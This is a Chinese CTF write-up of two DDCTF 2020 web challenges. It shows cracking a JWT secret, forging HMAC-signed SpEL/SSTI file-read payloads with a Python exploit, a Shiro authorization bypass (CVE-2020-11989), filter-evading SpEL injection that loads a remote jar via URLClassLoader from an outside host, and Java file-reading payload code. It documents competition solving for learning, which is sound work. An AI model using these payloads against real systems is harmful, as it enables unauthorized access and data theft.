前言 DDCTF是个挺好的比赛,题目质量很高,py程度很低。不知道今年为什么这么少队伍签到,难道跟别的比赛撞车了?
 
Web签到题 根据提示得知有来个api。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25  Interface documentation - login interface [-][Safet Reminder]The Private key cannot use request parameter Request Method | POST URL    | http://117.51.136.197/admin/login Param  | username str | pwd str Response token str | auth(Certification information) - auth interface Request Method | POST URL    | http://117.51.136.197/admin/auth Param  | username str | pwd str | token str Response url str | client download link +------------------+                +----------------------+                +--------------------+ |                  |                |                      |                |                    | |                  +---------------->                      +---------------->                    | |  Client(Linux)   |                |     Auth/Command     |                |       minion       | |                  <----------------+                      +<---------------+                    | |                  |                |                      |                |                    | +------------------+                +----------------------+                +--------------------+ 
 
访问第一个api,得到一串字符串,解码得知是jwt token。
尝试一轮jwt的常规操作,最后用jwtcrack 爆破出了密钥,修改payload中的userRole为ADMIN提交到第二个api处。
得到了client的下载地址。
运行下client,发现并没有用户交互功能,命令都是硬编码在程序里。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 ┌─[p1ay2win@parrot]─[~/Desktop/Tools/c-jwt-cracker-master] └──? $/tmp/client  2020/09/07 00:50:15   ____  _  ____  _  ____  _____  _____       ____  ____  ____  ____  /  _ \/ \/  _ \/ \/   _\/__ __\/    /      /_   \/  _ \/_   \/  _ \ | | \|| || | \|| ||  /    / \  |  __\_____  /   /| / \| /   /| / \| | |_/|| || |_/|| ||  \__  | |  | |   \____\/   /_| \_/|/   /_| \_/| \____/\_/\____/\_/\____/  \_/  \_/         \____/\____/\____/\____/                                                                     2020/09/07 00:50:15  +---------------------------------------------------+ |Flag Path 	:= /home/dc2-user/flag/flag.txt			| |签名格式 	:= 	command|time_stamp					| +---------------------------------------------------+ 2020/09/07 00:50:15  +------------------+                +----------------------+                +--------------------+ |                  |                |                      |                |                    | |                  +---------------->                      +---------------->                    | |     Client       |                |     Auth/Command     |                |       minion       | |                  <----------------+                      +<---------------+                    | |                  |                |                      |                |                    | +------------------+                +----------------------+                +--------------------+ 2020/09/07 00:50:15 [*]Start ping master... 2020/09/07 00:50:15 [-]http://117.51.136.197/server/health connect succuess 2020/09/07 00:50:15 [*]Start send command to minions... 2020/09/07 00:50:15 [+]get sign:Q4OkAWjsnkfxKiqMv5wuFRXjgS/gGEFalDPS5IfuGww=, command:'DDCTF', time_stamp:1599411015 2020/09/07 00:50:15 [+]send command url http://117.51.136.197/server/command and response:{"code":0,"message":"success","data":"DDCTF"} 
 
抓包分析确实都是http的流量,参数通过json格式传递,还有个signature参数验证命令有没有被篡改。
本来想着通过IDA来修改原命令,但是只能修改到长度为8的命令。最后队友通过恢复符号表得知签名是命令加时间戳的HMAC-sha256,密钥为DDCTFWithYou。
写了py测试下发现不会执行命令,但存在SSTI。
手动fuzz了下,发现拦截了getClass、forName等等、classLoader没法打开url、exec直接状态码500,可能直接把Runtime的包给删了。
现在唯有文件读取能用,最后用到两个SSTI的payload,一个读目录,一个读文件:
1 2 (new  java.io.File("/home/dc2-user/flag" )).list() T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get("/home/dc2-user/flag/flag.txt" )) 
 
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import  timeimport  hmacimport  base64import  jsonimport  sysimport  requestsfrom  hashlib import  sha256appsecret = "DDCTFWithYou" .encode('utf-8' ) command = 'T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get("/home/dc2-user/flag/flag.txt"))'  timestamp = int(time.time()) tmp = "{}|{}" .format(command,timestamp).encode('utf-8' ) signature = base64.b64encode(hmac.new(appsecret, tmp, digestmod=sha256).digest()) data = {} data['signature' ] = signature data['command' ] = command data['timestamp' ] = timestamp url = 'http://117.51.136.197/server/command'  headers = {'Content-Type' : 'application/json' } r = requests.post(url=url,headers=headers,data = json.dumps(data)) print(r.text) 
 
Easy Web 尝试登录下,看到Response Headers利用rememberMe=deleteMe,得知后端有Apache Shiro。
Shiro反序列化一把梭,打了个寂寞,毕竟哪有这么容易。众所周知在ctf里:
Easy不是真的easy,hard是真的hard。
 
在队友提醒下得知是CVE-2020-11989,Shiro权限绕过。一个斜杆加分号进入到后台。
1 http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/index 
 
一眼看到了任意文件读取,陆陆续续读到了web.xml、spring的配置文件和配置文件里能看到的class。
1 2 3 4 5 6 7 8 9 10 11 /WEB-INF/web.xml /WEB-INF/classes/com/ctf/util/SafeFilter.class /WEB-INF/classes/spring-core.xml /WEB-INF/classes/spring-web.xml /WEB-INF/classes/spring-shiro.xml /WEB-INF/classes/com/ctf/auth/FilterChainDefinitionMapBuilder.class /WEB-INF/classes/com/ctf/auth/ShiroRealm.class /WEB-INF/classes/com/ctf/model/User.class /WEB-INF/classes/com/ctf/model/Role.class /WEB-INF/classes/com/ctf/service/UserService.class /WEB-INF/classes/com/ctf/model/Permission.class 
 
注意到两类,一个参数的值过滤了一些java的关键字,另一个记录了些链接。
打开最后一个链接,不知道怎么的就变成了admin用户,提供了一个输入框。
1 http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef/ 
 
测试下存在SpEL注入,输入[[${7*7}]]最后打开的结果是49。
参数过滤了很多关键字,但没过滤ClassLoader关键字,用UrlClassLoader试下发现可以连外网。
1 new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://dnslog.cn/xxx.jar")}).loadClass("xxx").getConstructor().newInstance().toString() 
 
当然,由于过滤了引号,字符串要用下面的py脚本转换下。
1 2 3 4 5 6 payload = "PUT PAYLOAD STRING HERE"  print  ("true.toString().charAt(0).toChars(%d)[0].toString()"  % ord(payload[0 ]), end='' )for  i in  range(1 , len(payload)):        print  (".concat(true.toString().charAt(0).toChars(%d)[0].toString())"  % ord(payload[i]), end='' ) print  ("" )
 
 把编译好的class打包成jar扔到vps上,本来想着直接执行命令,但是命令并没有执行成功,有时还会报error,我还以为是代码的问题,折腾了好久。
最后还是以文件读取的方式读flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import  java.io.*;import  java.util.*;public  class  Cmd   {    String res;     public  Cmd ()  {         try  {             File dir = new  File("/" );             String[] children = dir.list();             if  (children == null ) {             }             else  {                 for  (int  i=0 ; i< children.length; i++) {                     String filename = children[i];                     res += filename+'\n' ;                 }             }                          BufferedReader in = new  BufferedReader(new  FileReader("/flag_is_here" ));             String str;             while  ((str = in.readLine()) != null ) {                 res += str+'\n' ;             }         } catch  (IOException e) {         }     }          @Override      public  String toString ()   {         return  res;     } } 
 
jar打包命令如下
1 2 javac .\Cmd .java jar cvf Cmd .jar .\Cmd .class 
 
可惜最后做出来才知道比赛时间已经过了。。
参考